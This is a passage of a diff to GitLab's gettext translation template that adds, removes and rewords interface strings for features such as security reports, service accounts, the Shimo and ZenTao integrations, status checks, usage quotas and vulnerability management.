msgid "SecurityReports|There was an error while generating the report."
msgstr ""
+msgid "SecurityReports|These vulnerabilities were detected in external sources. They are not necessarily tied to your GitLab project. For example, running containers, URLs, and so on."
+msgstr ""
+
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
@@ -30934,6 +31475,9 @@ msgstr ""
msgid "Select assignee"
msgstr ""
+msgid "Select assignee(s)"
+msgstr ""
+
msgid "Select branch"
msgstr ""
@@ -31138,9 +31682,6 @@ msgstr ""
msgid "Sep"
msgstr ""
-msgid "Separate topics with commas."
-msgstr ""
-
msgid "September"
msgstr ""
@@ -31240,7 +31781,16 @@ msgstr ""
msgid "Service"
msgstr ""
-msgid "Service Accounts keys are required to authorize GitLab to deploy your Google Cloud project."
+msgid "Service Account"
+msgstr ""
+
+msgid "Service Account Key"
+msgstr ""
+
+msgid "Service Accounts"
+msgstr ""
+
+msgid "Service Accounts keys authorize GitLab to deploy your Google Cloud project"
msgstr ""
msgid "Service Desk"
@@ -31252,6 +31802,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service account generated successfully"
+msgstr ""
+
msgid "Service ping is disabled in your configuration file, and cannot be enabled through this form."
msgstr ""
@@ -31297,6 +31850,9 @@ msgstr ""
msgid "ServicePing|Turn on service ping to review instance-level analytics."
msgstr ""
+msgid "Services"
+msgstr ""
+
msgid "Session ID"
msgstr ""
@@ -31378,6 +31934,9 @@ msgstr ""
msgid "Set the iteration to %{iteration_reference}."
msgstr ""
+msgid "Set the maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
+msgstr ""
+
msgid "Set the maximum session time for a web terminal."
msgstr ""
@@ -31435,9 +31994,6 @@ msgstr ""
msgid "Set what should be replicated by this secondary site."
msgstr ""
-msgid "SetPasswordToCloneLink|set a password"
-msgstr ""
-
msgid "SetStatusModal|Add status emoji"
msgstr ""
@@ -31512,9 +32068,6 @@ msgid_plural "Settings saved successfully"
msgstr[0] ""
msgstr[1] ""
-msgid "Setting this to 0 means using the system default timeout value."
-msgstr ""
-
msgid "Settings"
msgstr ""
@@ -31581,6 +32134,27 @@ msgstr ""
msgid "Sherlock Transactions"
msgstr ""
+msgid "Shimo|Go to Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Link to a Shimo Workspace from the sidebar."
+msgstr ""
+
+msgid "Shimo|Shimo"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace URL"
+msgstr ""
+
+msgid "Shimo|Shimo Workspace integration is enabled"
+msgstr ""
+
+msgid "Shimo|You've enabled the Shimo Workspace integration. You can view your wiki directly in Shimo."
+msgstr ""
+
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{boldStart}will%{boldEnd} lose access to your account."
msgstr ""
@@ -31596,6 +32170,9 @@ msgstr ""
msgid "Show all activity"
msgstr ""
+msgid "Show all breadcrumbs"
+msgstr ""
+
msgid "Show all issues."
msgstr ""
@@ -31644,18 +32221,9 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me how to add a pipeline"
-msgstr ""
-
msgid "Show one file at a time"
msgstr ""
-msgid "Show parent pages"
-msgstr ""
-
-msgid "Show parent subgroups"
-msgstr ""
-
msgid "Show the Closed list"
msgstr ""
@@ -32020,6 +32588,12 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong trying to load issue contacts."
+msgstr ""
+
+msgid "Something went wrong when creating a work item. Please try again"
+msgstr ""
+
msgid "Something went wrong when reordering designs. Please try again"
msgstr ""
@@ -32104,9 +32678,6 @@ msgstr ""
msgid "Something went wrong while fetching the environments for this merge request. Please try again."
msgstr ""
-msgid "Something went wrong while fetching the package."
-msgstr ""
-
msgid "Something went wrong while fetching the packages list."
msgstr ""
@@ -32383,9 +32954,6 @@ msgstr ""
msgid "Source Branch"
msgstr ""
-msgid "Source Editor instance is required to set up an extension."
-msgstr ""
-
msgid "Source IP"
msgstr ""
@@ -32404,6 +32972,33 @@ msgstr ""
msgid "Source project cannot be found."
msgstr ""
+msgid "SourceEditor|\"el\" parameter is required for createInstance()"
+msgstr ""
+
+msgid "SourceEditor|%{name} is not registered."
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either a class or a function"
+msgstr ""
+
+msgid "SourceEditor|Extension definition should be either class, function, or an Array of definitions."
+msgstr ""
+
+msgid "SourceEditor|Extensions Store is required to check for an extension."
+msgstr ""
+
+msgid "SourceEditor|Name conflict for \"%{prop}()\" method."
+msgstr ""
+
+msgid "SourceEditor|No extension for unuse has been specified."
+msgstr ""
+
+msgid "SourceEditor|Source Editor instance is required to set up an extension."
+msgstr ""
+
+msgid "SourceEditor|`definition` property is expected on the extension."
+msgstr ""
+
msgid "Sourcegraph"
msgstr ""
@@ -32557,9 +33152,6 @@ msgstr ""
msgid "Start a review"
msgstr ""
-msgid "Start and due date"
-msgstr ""
-
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr ""
@@ -32704,6 +33296,9 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{failed} failed"
+msgstr ""
+
msgid "StatusCheck|%{pending} pending"
msgstr ""
@@ -32725,7 +33320,7 @@ msgstr ""
msgid "StatusCheck|Apply this status check to all branches or a specific protected branch."
msgstr ""
-msgid "StatusCheck|Check for a status response in Merge Requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
+msgid "StatusCheck|Check for a status response in merge requests. Failures do not block merges. %{link_start}Learn more%{link_end}."
msgstr ""
msgid "StatusCheck|Examples: QA, Security."
@@ -32734,6 +33329,9 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
+msgid "StatusCheck|Failed to load status checks"
+msgstr ""
+
msgid "StatusCheck|Failed to load status checks."
msgstr ""
@@ -32755,6 +33353,12 @@ msgstr ""
msgid "StatusCheck|Status checks"
msgstr ""
+msgid "StatusCheck|Status checks all passed"
+msgstr ""
+
+msgid "StatusCheck|Status checks are being fetched"
+msgstr ""
+
msgid "StatusCheck|Status to check"
msgstr ""
@@ -32770,6 +33374,9 @@ msgstr ""
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
+msgid "StatusCheck|status checks"
+msgstr ""
+
msgid "StatusPage|AWS %{docsLink}"
msgstr ""
@@ -33755,10 +34362,10 @@ msgstr ""
msgid "Terraform|Terraform init command"
msgstr ""
-msgid "Terraform|The report %{name} failed to generate."
+msgid "Terraform|The job %{name} failed to generate a report."
msgstr ""
-msgid "Terraform|The report %{name} was generated in your pipelines."
+msgid "Terraform|The job %{name} generated a report."
msgstr ""
msgid "Terraform|To get access to this terraform state from your local computer, run the following command at the command line. The first line requires a personal access token with API read and write access. %{linkStart}How do I create a personal access token?%{linkEnd}."
@@ -34013,7 +34620,7 @@ msgstr ""
msgid "The URL should start with http:// or https://"
msgstr ""
-msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
+msgid "The URLs for connecting to Elasticsearch. For clustering, add the URLs separated by commas."
msgstr ""
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
@@ -34049,7 +34656,10 @@ msgstr ""
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
-msgid "The contact does not belong to the same group as the issue."
+msgid "The contact does not belong to the same group as the issue"
+msgstr ""
+
+msgid "The content editor may change the markdown formatting style of the document, which may not match your original markdown style."
msgstr ""
msgid "The content of this page is not encoded in UTF-8. Edits can only be made via the Git repository."
@@ -34255,9 +34865,6 @@ msgstr ""
msgid "The maximum number of pipeline minutes that a group can use on shared runners per month. 0 for unlimited."
msgstr ""
-msgid "The maximum number of slices allowed to run concurrently during Elasticsearch reindexing. Learn more about %{max_slices_running_link_start}maximum running slices configuration%{max_slices_link_end}."
-msgstr ""
-
msgid "The maximum number of tags that a single worker accepts for cleanup. If the number of tags goes above this limit, the list of tags to delete is truncated to this number. To remove this limit, set it to 0."
msgstr ""
@@ -34390,9 +34997,6 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The source branch will be deleted"
-msgstr ""
-
msgid "The specified tab is invalid, please select another"
msgstr ""
@@ -34447,6 +35051,9 @@ msgstr ""
msgid "The vulnerability is no longer detected. Verify the vulnerability has been remediated before changing its status."
msgstr ""
+msgid "There are Advanced Search migrations pending that require indexing to pause. Indexing must remain paused until GitLab completes the migrations."
+msgstr ""
+
msgid "There are currently no events."
msgstr ""
@@ -34543,9 +35150,6 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
-msgid "There are pending advanced search migrations which require indexing to be paused. Indexing must remain paused until the migrations are completed."
-msgstr ""
-
msgid "There are running deployments on the environment. Please retry later."
msgstr ""
@@ -34558,9 +35162,6 @@ msgstr ""
msgid "There are several size limits in place."
msgstr ""
-msgid "There is a halted Elasticsearch migration"
-msgstr ""
-
msgid "There is already a repository with that name on disk"
msgstr ""
@@ -34936,6 +35537,9 @@ msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr ""
+msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
+msgstr ""
+
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
@@ -34954,12 +35558,6 @@ msgstr ""
msgid "This credential has expired"
msgstr ""
-msgid "This date is after the due date, so this epic won't appear in the roadmap."
-msgstr ""
-
-msgid "This date is before the start date, so this epic won't appear in the roadmap."
-msgstr ""
-
msgid "This device has already been registered with us."
msgstr ""
@@ -35008,6 +35606,12 @@ msgstr ""
msgid "This field is required."
msgstr ""
+msgid "This file was modified for readability, and can't accept suggestions. Edit it directly."
+msgstr ""
+
+msgid "This forked project has the following:"
+msgstr ""
+
msgid "This form is disabled in preview"
msgstr ""
@@ -35062,12 +35666,15 @@ msgstr ""
msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
-msgid "This is a security log of important events involving your account."
+msgid "This is a security log of authentication events involving your account."
msgstr ""
msgid "This is a self-managed instance of GitLab."
msgstr ""
+msgid "This is an experimental feature developed by GitLab Incubation Engineering."
+msgstr ""
+
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -35077,6 +35684,9 @@ msgstr ""
msgid "This is your current session"
msgstr ""
+msgid "This issue is confidential and should only be visible to team members with at least Reporter access."
+msgstr ""
+
msgid "This issue is currently blocked by the following issues:"
msgstr ""
@@ -35212,9 +35822,6 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a draft."
-msgstr ""
-
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
msgstr ""
@@ -35257,6 +35864,9 @@ msgstr ""
msgid "This project has no active access tokens."
msgstr ""
+msgid "This project is %{strongStart}NOT%{strongEnd} a fork, and has the following:"
+msgstr ""
+
msgid "This project is archived and cannot be commented on."
msgstr ""
@@ -35356,7 +35966,7 @@ msgstr ""
msgid "Thread to reply to cannot be found"
msgstr ""
-msgid "Threat Monitoring"
+msgid "Threat monitoring"
msgstr ""
msgid "ThreatMonitoring|Alert Details"
@@ -35900,6 +36510,9 @@ msgstr ""
msgid "To see this project's operational details, contact an owner of group %{groupName} to upgrade the plan. You can also remove the project from the dashboard."
msgstr ""
+msgid "To see what's changed or create a merge request, choose a branch or tag (like %{branch}), or enter a commit (like %{sha})."
+msgstr ""
+
msgid "To set up SAML authentication for your group through an identity provider like Azure, Okta, Onelogin, Ping Identity, or your custom SAML 2.0 provider:"
msgstr ""
@@ -35924,6 +36537,9 @@ msgstr ""
msgid "To use the additional formats, you must start the required %{container_link_start}companion containers%{container_link_end}."
msgstr ""
+msgid "To use the system's default, set this value to 0."
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
@@ -36029,10 +36645,10 @@ msgstr ""
msgid "Too many changes to show."
msgstr ""
-msgid "Too many namespaces enabled. You will need to manage them via the console or the API."
+msgid "Too many namespaces enabled. Manage them through the console or the API."
msgstr ""
-msgid "Too many projects enabled. You will need to manage them via the console or the API."
+msgid "Too many projects enabled. Manage them through the console or the API."
msgstr ""
msgid "TopNav|Go back"
@@ -36053,9 +36669,6 @@ msgstr ""
msgid "Topics"
msgstr ""
-msgid "Topics (optional)"
-msgstr ""
-
msgid "Total"
msgstr ""
@@ -36116,6 +36729,9 @@ msgstr ""
msgid "Track your GitLab projects with GitLab for Slack."
msgstr ""
+msgid "Training mode"
+msgstr ""
+
msgid "Transfer"
msgstr ""
@@ -36286,7 +36902,7 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
-msgid "Trigger cluster reindexing. This feature should be used with an index that was created after 13.0."
+msgid "Trigger cluster reindexing. Only use this with an index that was created in GitLab 13.0 or later."
msgstr ""
msgid "Trigger manual job"
@@ -36343,6 +36959,12 @@ msgstr ""
msgid "Try grouping with different labels"
msgstr ""
+msgid "Try out GitLab Pipelines"
+msgstr ""
+
+msgid "Try the troubleshooting steps here."
+msgstr ""
+
msgid "Try to fork again"
msgstr ""
@@ -36541,9 +37163,6 @@ msgstr ""
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr ""
-msgid "Unable to save cadence. Please try again"
-msgstr ""
-
msgid "Unable to save iteration. Please try again"
msgstr ""
@@ -36649,6 +37268,9 @@ msgstr ""
msgid "Unknown response text"
msgstr ""
+msgid "Unknown screen"
+msgstr ""
+
msgid "Unknown user"
msgstr ""
@@ -36733,9 +37355,6 @@ msgstr ""
msgid "Unsupported todo type passed. Supported todo types are: %{todo_types}"
msgstr ""
-msgid "Until"
-msgstr ""
-
msgid "Until revoked, expired personal access tokens pose a security risk."
msgstr ""
@@ -36844,6 +37463,9 @@ msgstr ""
msgid "Updating"
msgstr ""
+msgid "Updating the attention request for %{username} failed."
+msgstr ""
+
msgid "Updating…"
msgstr ""
@@ -36886,6 +37508,9 @@ msgstr ""
msgid "Upload license"
msgstr ""
+msgid "Upload new file"
+msgstr ""
+
msgid "Upload object map"
msgstr ""
@@ -36895,9 +37520,6 @@ msgstr ""
msgid "Uploading changes to terminal"
msgstr ""
-msgid "Uploads"
-msgstr ""
-
msgid "Upon performing this action, the contents of this group, its subgroup and projects will be permanently deleted after %{deletion_adjourned_period} days on %{date}. Until that time:"
msgstr ""
@@ -36910,9 +37532,6 @@ msgstr ""
msgid "Upvotes"
msgstr ""
-msgid "Usage"
-msgstr ""
-
msgid "Usage Trends"
msgstr ""
@@ -36967,12 +37586,6 @@ msgstr ""
msgid "UsageQuota|Increase storage temporarily"
msgstr ""
-msgid "UsageQuota|LFS Objects"
-msgstr ""
-
-msgid "UsageQuota|LFS Storage"
-msgstr ""
-
msgid "UsageQuota|LFS storage"
msgstr ""
@@ -36982,9 +37595,15 @@ msgstr ""
msgid "UsageQuota|Learn more about usage quotas"
msgstr ""
+msgid "UsageQuota|No CI minutes usage data available."
+msgstr ""
+
msgid "UsageQuota|Packages"
msgstr ""
+msgid "UsageQuota|Pending Members"
+msgstr ""
+
msgid "UsageQuota|Pipeline artifacts and job artifacts, created with CI/CD."
msgstr ""
@@ -36997,9 +37616,6 @@ msgstr ""
msgid "UsageQuota|Purchased storage available"
msgstr ""
-msgid "UsageQuota|Repositories"
-msgstr ""
-
msgid "UsageQuota|Repository"
msgstr ""
@@ -37033,18 +37649,6 @@ msgstr ""
msgid "UsageQuota|This namespace has no projects which use shared runners"
msgstr ""
-msgid "UsageQuota|This project is at risk of being locked because purchased storage is running low."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it is using %{actualRepositorySizeLimit} of free storage and there is no purchased storage available."
-msgstr ""
-
-msgid "UsageQuota|This project is locked because it used %{actualRepositorySizeLimit} of free storage and all the purchased storage."
-msgstr ""
-
-msgid "UsageQuota|This project is near the free %{actualRepositorySizeLimit} limit and at risk of being locked."
-msgstr ""
-
msgid "UsageQuota|Total excess storage used"
msgstr ""
@@ -37090,9 +37694,6 @@ msgstr ""
msgid "UsageQuota|Wiki content."
msgstr ""
-msgid "UsageQuota|Wikis"
-msgstr ""
-
msgid "UsageQuota|You have consumed all of your additional storage, please purchase more to unlock your projects over the free %{actualRepositorySizeLimit} limit."
msgstr ""
@@ -37285,9 +37886,6 @@ msgstr ""
msgid "Used programming language"
msgstr ""
-msgid "Used to calculate the number of slices during reindexing. The multiplier will be applied to the number of shards per index. Learn more about %{slice_multiplier_link_start}slice multiplier configuration%{slice_multiplier_link_end}."
-msgstr ""
-
msgid "Used to help configure your identity provider"
msgstr ""
@@ -37591,9 +38189,6 @@ msgstr ""
msgid "Username"
msgstr ""
-msgid "Username (for password-protected Elasticsearch servers)"
-msgstr ""
-
msgid "Username (optional)"
msgstr ""
@@ -37819,6 +38414,18 @@ msgstr ""
msgid "Verification status"
msgstr ""
+msgid "VerificationReminder|Pipeline failing? To keep GitLab spam and abuse free we ask that you verify your identity with a valid payment method."
+msgstr ""
+
+msgid "VerificationReminder|Until then, free pipeline minutes on shared runners are unavailable. %{validateLinkStart}Validate your account%{validateLinkEnd} or %{docsLinkStart}use your own runners%{docsLinkEnd}."
+msgstr ""
+
+msgid "VerificationReminder|Your account has been validated."
+msgstr ""
+
+msgid "VerificationReminder|You’ll now be able to take advantage of free pipeline minutes on shared runners."
+msgstr ""
+
msgid "Verified"
msgstr ""
@@ -37843,6 +38450,9 @@ msgstr ""
msgid "View Documentation"
msgstr ""
+msgid "View Stage: %{title}"
+msgstr ""
+
msgid "View alert details at"
msgstr ""
@@ -37940,6 +38550,9 @@ msgstr ""
msgid "View merge request"
msgstr ""
+msgid "View milestones"
+msgstr ""
+
msgid "View on %{url}"
msgstr ""
@@ -38050,6 +38663,9 @@ msgstr ""
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
+msgid "Vulnerability report"
+msgstr ""
+
msgid "Vulnerability resolved in %{branch}"
msgstr ""
@@ -38062,9 +38678,6 @@ msgstr ""
msgid "VulnerabilityChart|Severity"
msgstr ""
-msgid "VulnerabilityManagement, Fetching linked Jira issues"
-msgstr ""
-
msgid "VulnerabilityManagement|%{statusStart}Confirmed%{statusEnd} %{timeago} by %{user}"
msgstr ""
@@ -38080,6 +38693,9 @@ msgstr ""
msgid "VulnerabilityManagement|A true-positive and will fix"
msgstr ""
+msgid "VulnerabilityManagement|Add vulnerability finding"
+msgstr ""
+
msgid "VulnerabilityManagement|Change status"
msgstr ""
@@ -38089,7 +38705,10 @@ msgstr ""
msgid "VulnerabilityManagement|Create Jira issue"
msgstr ""
-msgid "VulnerabilityManagement|Detected"
+msgid "VulnerabilityManagement|Fetching linked Jira issues"
+msgstr ""
+
+msgid "VulnerabilityManagement|Manually add a vulnerability entry into the vulnerability report."
msgstr ""
msgid "VulnerabilityManagement|Needs triage"
@@ -38101,6 +38720,9 @@ msgstr ""
msgid "VulnerabilityManagement|Related Jira issues"
msgstr ""
+msgid "VulnerabilityManagement|Requires assessment"
+msgstr ""
+
msgid "VulnerabilityManagement|Something went wrong while trying to delete the comment. Please try again later."
msgstr ""
@@ -38125,9 +38747,15 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong, could not update vulnerability state."
msgstr ""
+msgid "VulnerabilityManagement|Summary, detailed description, steps to reproduce, etc."
+msgstr ""
+
msgid "VulnerabilityManagement|Verified as fixed or mitigated"
msgstr ""
+msgid "VulnerabilityManagement|Vulnerability name or type. Ex: Cross-site scripting"
+msgstr ""
+
msgid "VulnerabilityManagement|Will not fix or a false-positive"
msgstr ""
@@ -38140,10 +38768,10 @@ msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Detected"
+msgid "VulnerabilityStatusTypes|Dismissed"
msgstr ""
-msgid "VulnerabilityStatusTypes|Dismissed"
+msgid "VulnerabilityStatusTypes|Needs triage"
msgstr ""
msgid "VulnerabilityStatusTypes|Resolved"
@@ -38317,7 +38945,7 @@ msgstr ""
msgid "We heard back from your device. You have been authenticated."
msgstr ""
-msgid "We love speaking to our users. Got more to say about your GitLab experiences?"
+msgid "We invite you to %{featureLinkStart}request a feature%{featureLinkEnd}, %{bugLinkStart}report a bug%{bugLinkEnd} or %{feedbackLinkStart}share feedback%{feedbackLinkEnd}"
msgstr ""
msgid "We recommend cloud-based mobile authenticator apps such as Authy, Duo Mobile, and LastPass. They can restore access if you lose your hardware device."
@@ -38623,6 +39251,9 @@ msgstr ""
msgid "When a runner is locked, it cannot be assigned to other projects"
msgstr ""
+msgid "When enabled, SSH keys with no expiry date or an invalid expiration date are no longer accepted. Leave blank for no limit."
+msgstr ""
+
msgid "When enabled, existing personal access tokens may be revoked. Leave blank for no limit."
msgstr ""
@@ -38635,7 +39266,7 @@ msgstr ""
msgid "When merge requests and commits in the default branch close, any issues they reference also close."
msgstr ""
-msgid "When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgid "When paused, GitLab still tracks the changes. This is useful for cluster/index migrations."
msgstr ""
msgid "When this merge request is accepted"
@@ -38808,6 +39439,12 @@ msgstr ""
msgid "WikiPage|Create page"
msgstr ""
+msgid "WikiPage|Edit rich text"
+msgstr ""
+
+msgid "WikiPage|Edit source"
+msgstr ""
+
msgid "WikiPage|Format"
msgstr ""
@@ -38817,7 +39454,7 @@ msgstr ""
msgid "WikiPage|Keep editing"
msgstr ""
-msgid "WikiPage|More Information."
+msgid "WikiPage|Learn more."
msgstr ""
msgid "WikiPage|Page title"
@@ -38931,6 +39568,9 @@ msgstr ""
msgid "Work in progress Limit"
msgstr ""
+msgid "Work in progress- click here to find out more"
+msgstr ""
+
msgid "WorkItem|Work Items"
msgstr ""
@@ -39204,13 +39844,10 @@ msgstr ""
msgid "You can only %{action} files when you are on a branch"
msgstr ""
-msgid "You can only edit files when you are on a branch"
+msgid "You can only add up to %{max_contacts} contacts at one time"
msgstr ""
-msgid "You can only merge once the items above are resolved."
-msgstr ""
-
-msgid "You can only merge once this merge request is approved."
+msgid "You can only edit files when you are on a branch"
msgstr ""
msgid "You can only transfer the project to namespaces you manage."
@@ -39246,6 +39883,9 @@ msgstr ""
msgid "You cannot access the raw file. Please wait a minute."
msgstr ""
+msgid "You cannot combine replace_ids with add_ids or remove_ids"
+msgstr ""
+
msgid "You cannot impersonate a blocked user"
msgstr ""
@@ -39276,12 +39916,18 @@ msgstr ""
msgid "You could not create a new trigger."
msgstr ""
+msgid "You do not have any Google Cloud projects. Please create a Google Cloud project and then reload this page."
+msgstr ""
+
msgid "You do not have any subscriptions yet"
msgstr ""
msgid "You do not have permission to access dora metrics."
msgstr ""
+msgid "You do not have permission to approve a member"
+msgstr ""
+
msgid "You do not have permission to leave this %{namespaceType}."
msgstr ""
@@ -39333,6 +39979,11 @@ msgstr ""
msgid "You don’t have access to Value Stream Analytics for this group"
msgstr ""
+msgid "You have %{pendingMembersCount} pending member that needs approval."
+msgid_plural "You have %{pendingMembersCount} pending members that need approval."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "You have been granted %{access_level} access to the %{source_link} %{source_type}."
msgstr ""
@@ -39381,6 +40032,9 @@ msgstr ""
msgid "You have insufficient permissions to remove this HTTP integration"
msgstr ""
+msgid "You have insufficient permissions to set customer relations contacts for this issue"
+msgstr ""
+
msgid "You have insufficient permissions to update an on-call schedule for this project"
msgstr ""
@@ -39516,9 +40170,6 @@ msgstr ""
msgid "You won't be able to create new projects because you have reached your project limit."
msgstr ""
-msgid "You won't be able to pull or push repositories via %{protocol} until you %{set_password_link} on your account"
-msgstr ""
-
msgid "You'll be charged for %{true_up_link_start}users over license%{link_end} on a quarterly or annual basis, depending on the terms of your agreement."
msgstr ""
@@ -39603,7 +40254,7 @@ msgstr ""
msgid "Your CSV import for project"
msgstr ""
-msgid "Your DevOps Report gives an overview of how you are using GitLab from a feature perspective. Use it to view how you compare with other organizations."
+msgid "Your DevOps Reports give an overview of how you are using GitLab from a feature perspective. Use them to view how you compare with other organizations, and how your teams compare against each other."
msgstr ""
msgid "Your GPG keys (%{count})"
@@ -39669,6 +40320,12 @@ msgstr ""
msgid "Your account has been deactivated. You will not be able to: "
msgstr ""
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_password_link_start}set a password%{link_end} or %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
+msgid "Your account is authenticated with SSO or SAML. To %{push_pull_link_start}push and pull%{link_end} over %{protocol} with Git using this account, you must %{set_up_pat_link_start}set up a Personal Access Token%{link_end} to use instead of a password. For more information, see %{clone_with_https_link_start}Clone with HTTPS%{link_end}."
+msgstr ""
+
msgid "Your account is locked."
msgstr ""
@@ -39861,6 +40518,9 @@ msgstr ""
msgid "Your sign-in page is %{url}."
msgstr ""
+msgid "Your snippets"
+msgstr ""
+
msgid "Your subscription expired!"
msgstr ""
@@ -39875,15 +40535,9 @@ msgstr ""
msgid "ZenTaoIntegration|Failed to load ZenTao issue. View the issue in ZenTao, or reload the page."
msgstr ""
-msgid "ZenTaoIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}ZenTao%{linkEnd}."
-msgstr ""
-
msgid "ZenTaoIntegration|This is a ZenTao user."
msgstr ""
-msgid "ZenTaoIntegration|This issue is synchronized with ZenTao"
-msgstr ""
-
msgid "ZenTaoIntegration|ZenTao user"
msgstr ""
@@ -39893,6 +40547,9 @@ msgstr ""
msgid "ZentaoIntegration|Base URL of the ZenTao instance."
msgstr ""
+msgid "ZentaoIntegration|Before you enable this integration, you must configure ZenTao. For more details, read the %{link_start}ZenTao integration documentation%{link_end}."
+msgstr ""
+
msgid "ZentaoIntegration|Enter new ZenTao API token"
msgstr ""
@@ -39958,9 +40615,6 @@ msgstr ""
msgid "added"
msgstr ""
-msgid "added %{created_at_timeago}"
-msgstr ""
-
msgid "added %{emails}"
msgstr ""
@@ -40056,6 +40710,9 @@ msgstr ""
msgid "can't be nil"
msgstr ""
+msgid "can't be solely blank"
+msgstr ""
+
msgid "can't be the same as the source project"
msgstr ""
@@ -40089,9 +40746,6 @@ msgstr ""
msgid "cannot be enabled until a valid credit card is on file"
msgstr ""
-msgid "cannot be modified"
-msgstr ""
-
msgid "cannot be used for user namespace"
msgstr ""
@@ -40262,6 +40916,9 @@ msgstr ""
msgid "ciReport|Failed to load %{reportName} report"
msgstr ""
+msgid "ciReport|Failed to load Code Quality report"
+msgstr ""
+
msgid "ciReport|Fixed"
msgstr ""
@@ -40271,6 +40928,9 @@ msgstr ""
msgid "ciReport|Found %{issuesWithCount}"
msgstr ""
+msgid "ciReport|IaC Scanning"
+msgstr ""
+
msgid "ciReport|Investigate this vulnerability by creating an issue"
msgstr ""
@@ -40294,6 +40954,9 @@ msgstr ""
msgid "ciReport|Loading %{reportName} report"
msgstr ""
+msgid "ciReport|Loading Code Quality report"
+msgstr ""
+
msgid "ciReport|Manage licenses"
msgstr ""
@@ -40330,6 +40993,9 @@ msgstr ""
msgid "ciReport|Security scanning failed loading any results"
msgstr ""
+msgid "ciReport|Showing %{fetchedItems} of %{totalItems} items"
+msgstr ""
+
msgid "ciReport|Solution"
msgstr ""
@@ -40700,21 +41366,9 @@ msgstr ""
msgid "in"
msgstr ""
-msgid "in Infrastructure :: Kubernetes clusters"
-msgstr ""
-
-msgid "in all GitLab"
-msgstr ""
-
-msgid "in group"
-msgstr ""
-
msgid "in group %{link_to_group}"
msgstr ""
-msgid "in project"
-msgstr ""
-
msgid "in project %{link_to_project}"
msgstr ""
@@ -40867,9 +41521,6 @@ msgstr ""
msgid "log in"
msgstr ""
-msgid "managed"
-msgstr ""
-
msgid "manual"
msgstr ""
@@ -40899,13 +41550,13 @@ msgstr ""
msgid "most recent deployment"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} and %{mergeCommitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|1 merge commit"
msgstr ""
-msgid "mrWidgetCommitsAdded|%{commitCount} will be added to %{targetBranch}."
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} and %{mergeCommitCount} to %{targetBranch}%{squashedCommits}."
msgstr ""
-msgid "mrWidgetCommitsAdded|1 merge commit"
+msgid "mrWidgetCommitsAdded|Adds %{commitCount} to %{targetBranch}."
msgstr ""
msgid "mrWidgetNothingToMerge|This merge request contains no changes."
@@ -40917,6 +41568,9 @@ msgstr ""
msgid "mrWidget| Please restore it or use a different %{missingBranchName} branch"
msgstr ""
+msgid "mrWidget|%{boldHeaderStart}Looks like there's no pipeline here.%{boldHeaderEnd}"
+msgstr ""
+
msgid "mrWidget|%{linkStart}Set up now%{linkEnd} to analyze your source code for known security vulnerabilities."
msgstr ""
@@ -40935,9 +41589,6 @@ msgstr ""
msgid "mrWidget|%{metricsLinkStart} Memory %{metricsLinkEnd} usage is %{emphasisStart} unchanged %{emphasisEnd} at %{memoryFrom}MB"
msgstr ""
-msgid "mrWidget|%{prefixToLinkStart}No pipeline%{prefixToLinkEnd} %{addPipelineLinkStart}Add the .gitlab-ci.yml file%{addPipelineLinkEnd} to create one."
-msgstr ""
-
